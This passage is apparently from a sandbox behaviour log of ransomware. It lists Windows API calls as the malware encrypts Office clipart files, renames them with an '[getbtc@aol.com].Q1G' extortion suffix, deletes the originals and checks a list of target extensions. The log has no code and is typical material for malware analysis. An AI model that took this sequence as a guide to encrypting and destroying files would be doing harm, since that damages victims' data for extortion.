liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.477] SetEndOfFile (hFile=0x360) returned 1 [0265.479] CloseHandle (hObject=0x360) returned 1 [0265.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.479] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf")) returned 1 [0265.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0265.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0265.480] lstrlenW (lpString=".doc") returned 4 [0265.480] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.480] lstrlenW (lpString=".docx") returned 5 [0265.480] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0265.480] lstrlenW (lpString=".pdf") returned 4 [0265.480] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.480] lstrlenW (lpString=".xls") returned 4 [0265.480] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.480] lstrlenW (lpString=".xlsx") returned 5 [0265.480] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0265.480] lstrlenW (lpString=".ppt") returned 4 [0265.480] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0265.480] lstrlenW (lpString=".zip") returned 4 [0265.480] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.480] lstrlenW (lpString=".rar") returned 4 [0265.480] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.480] lstrlenW (lpString=".bz2") returned 4 [0265.480] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.480] lstrlenW (lpString=".7z") returned 3 [0265.480] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0265.480] lstrlenW (lpString=".dbf") returned 4 [0265.480] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0265.480] lstrlenW (lpString=".1cd") returned 4 [0265.480] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0265.480] lstrlenW (lpString=".jpg") returned 4 [0265.480] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0265.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0265.480] lstrlenW (lpString=".doc") returned 4 [0265.480] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.480] lstrlenW (lpString=".docx") returned 5 [0265.481] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0265.481] lstrlenW (lpString=".pdf") returned 4 [0265.481] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.481] lstrlenW (lpString=".xls") returned 4 [0265.481] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.481] lstrlenW (lpString=".xlsx") returned 5 [0265.481] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0265.481] lstrlenW (lpString=".ppt") returned 4 [0265.481] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0265.481] lstrlenW (lpString=".zip") returned 4 [0265.481] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.481] lstrlenW (lpString=".rar") returned 4 [0265.481] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.481] lstrlenW (lpString=".bz2") returned 4 [0265.481] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.481] lstrlenW (lpString=".7z") returned 3 [0265.481] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0265.481] lstrlenW (lpString=".dbf") returned 4 [0265.481] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0265.481] lstrlenW (lpString=".1cd") returned 4 [0265.481] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF") returned 63 [0265.481] lstrlenW (lpString=".jpg") returned 4 [0265.481] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.481] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.481] lstrlenW (lpString="J0195320.WMF") returned 12 [0265.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0265.502] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=29432) returned 1 [0265.502] CloseHandle (hObject=0x1f8) returned 1 [0265.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf")) returned 0x20 [0265.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0265.502] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.502] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.503] GetLastError () returned 0x0 [0265.503] ReadFile (in: hFile=0x1f8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x72f8, lpOverlapped=0x0) returned 1 [0265.505] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x7300, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x7300, lpOverlapped=0x0) returned 1 [0265.506] ReadFile (in: hFile=0x1f8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.506] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.506] SetEndOfFile (hFile=0x360) returned 1 [0265.506] CloseHandle (hObject=0x360) returned 1 [0265.506] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.506] SetEndOfFile (hFile=0x1f8) returned 1 [0265.509] CloseHandle (hObject=0x1f8) returned 1 [0265.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf")) returned 1 [0265.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0265.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0265.519] lstrlenW (lpString=".doc") returned 4 [0265.519] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.519] lstrlenW (lpString=".docx") returned 5 [0265.519] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0265.519] lstrlenW (lpString=".pdf") returned 4 [0265.519] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.519] lstrlenW (lpString=".xls") returned 4 [0265.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.519] lstrlenW (lpString=".xlsx") returned 5 [0265.519] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0265.519] lstrlenW (lpString=".ppt") returned 4 [0265.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0265.519] lstrlenW (lpString=".zip") returned 4 [0265.519] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.519] lstrlenW (lpString=".rar") returned 4 [0265.519] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.519] lstrlenW (lpString=".bz2") returned 4 [0265.519] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.519] lstrlenW (lpString=".7z") returned 3 [0265.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0265.519] lstrlenW (lpString=".dbf") returned 4 [0265.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0265.519] lstrlenW (lpString=".1cd") returned 4 [0265.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0265.520] lstrlenW (lpString=".jpg") returned 4 [0265.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0265.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0265.520] lstrlenW (lpString=".doc") returned 4 [0265.520] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.520] lstrlenW (lpString=".docx") returned 5 [0265.520] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0265.520] lstrlenW (lpString=".pdf") returned 4 [0265.520] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.520] lstrlenW (lpString=".xls") returned 4 [0265.520] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.520] lstrlenW (lpString=".xlsx") returned 5 [0265.520] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0265.520] lstrlenW (lpString=".ppt") returned 4 [0265.520] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0265.520] lstrlenW (lpString=".zip") returned 4 [0265.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.520] lstrlenW (lpString=".rar") returned 4 [0265.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.520] lstrlenW (lpString=".bz2") returned 4 [0265.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.520] lstrlenW (lpString=".7z") returned 3 [0265.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0265.520] lstrlenW (lpString=".dbf") returned 4 [0265.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0265.520] lstrlenW (lpString=".1cd") returned 4 [0265.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF") returned 63 [0265.520] lstrlenW (lpString=".jpg") returned 4 [0265.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.521] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.521] lstrlenW (lpString="J0195428.WMF") returned 12 [0265.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0265.521] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=18622) returned 1 [0265.521] CloseHandle (hObject=0x1f8) returned 1 [0265.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf")) returned 0x20 [0265.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0265.522] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.522] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0265.522] GetLastError () returned 0x0 [0265.522] ReadFile (in: hFile=0x1f8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x48be, lpOverlapped=0x0) returned 1 [0265.537] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x48c0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x48c0, lpOverlapped=0x0) returned 1 [0265.538] ReadFile (in: hFile=0x1f8, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.538] WriteFile (in: hFile=0x360, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.538] SetEndOfFile (hFile=0x360) returned 1 [0265.538] CloseHandle (hObject=0x360) returned 1 [0265.539] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.539] SetEndOfFile (hFile=0x1f8) returned 1 [0265.541] CloseHandle (hObject=0x1f8) returned 1 [0265.541] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.541] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf")) returned 1 [0265.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0265.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0265.542] lstrlenW (lpString=".doc") returned 4 [0265.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.542] lstrlenW (lpString=".docx") returned 5 [0265.542] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0265.542] lstrlenW (lpString=".pdf") returned 4 [0265.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.542] lstrlenW (lpString=".xls") returned 4 [0265.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.542] lstrlenW (lpString=".xlsx") returned 5 [0265.542] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0265.542] lstrlenW (lpString=".ppt") returned 4 [0265.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0265.542] lstrlenW (lpString=".zip") returned 4 [0265.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.542] lstrlenW (lpString=".rar") returned 4 [0265.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.542] lstrlenW (lpString=".bz2") returned 4 [0265.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.542] lstrlenW (lpString=".7z") returned 3 [0265.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0265.542] lstrlenW (lpString=".dbf") returned 4 [0265.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0265.542] lstrlenW (lpString=".1cd") returned 4 [0265.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0265.542] lstrlenW (lpString=".jpg") returned 4 [0265.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0265.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0265.542] lstrlenW (lpString=".doc") returned 4 [0265.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.542] lstrlenW (lpString=".docx") returned 5 [0265.542] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0265.542] lstrlenW (lpString=".pdf") returned 4 [0265.543] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.543] lstrlenW (lpString=".xls") returned 4 [0265.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.543] lstrlenW (lpString=".xlsx") returned 5 [0265.543] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0265.543] lstrlenW (lpString=".ppt") returned 4 [0265.543] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0265.543] lstrlenW (lpString=".zip") returned 4 [0265.543] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.543] lstrlenW (lpString=".rar") returned 4 [0265.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.543] lstrlenW (lpString=".bz2") returned 4 [0265.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.543] lstrlenW (lpString=".7z") returned 3 [0265.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0265.543] lstrlenW (lpString=".dbf") returned 4 [0265.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0265.543] lstrlenW (lpString=".1cd") returned 4 [0265.543] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF") returned 63 [0265.543] lstrlenW (lpString=".jpg") returned 4 [0265.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.543] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.543] lstrlenW (lpString="J0195772.WMF") returned 12 [0265.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0265.561] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=3680) returned 1 [0265.561] CloseHandle (hObject=0x388) returned 1 [0265.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf")) returned 0x20 [0265.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0265.586] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.586] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0265.587] GetLastError () returned 0x0 [0265.587] ReadFile (in: hFile=0x37c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xe60, lpOverlapped=0x0) returned 1 [0265.607] WriteFile (in: hFile=0x3e0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xe70, lpOverlapped=0x0) returned 1 [0265.609] ReadFile (in: hFile=0x37c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.609] WriteFile (in: hFile=0x3e0, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.609] SetEndOfFile (hFile=0x3e0) returned 1 [0265.609] CloseHandle (hObject=0x3e0) returned 1 [0265.609] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.609] SetEndOfFile (hFile=0x37c) returned 1 [0265.612] CloseHandle (hObject=0x37c) returned 1 [0265.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.613] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195772.wmf")) returned 1 [0265.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned 63 [0265.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195772.WMF") returned 63 [0265.613] lstrlenW (lpString=".doc") returned 4 [0265.613] lstrcmpiW (lpString1=".doc", 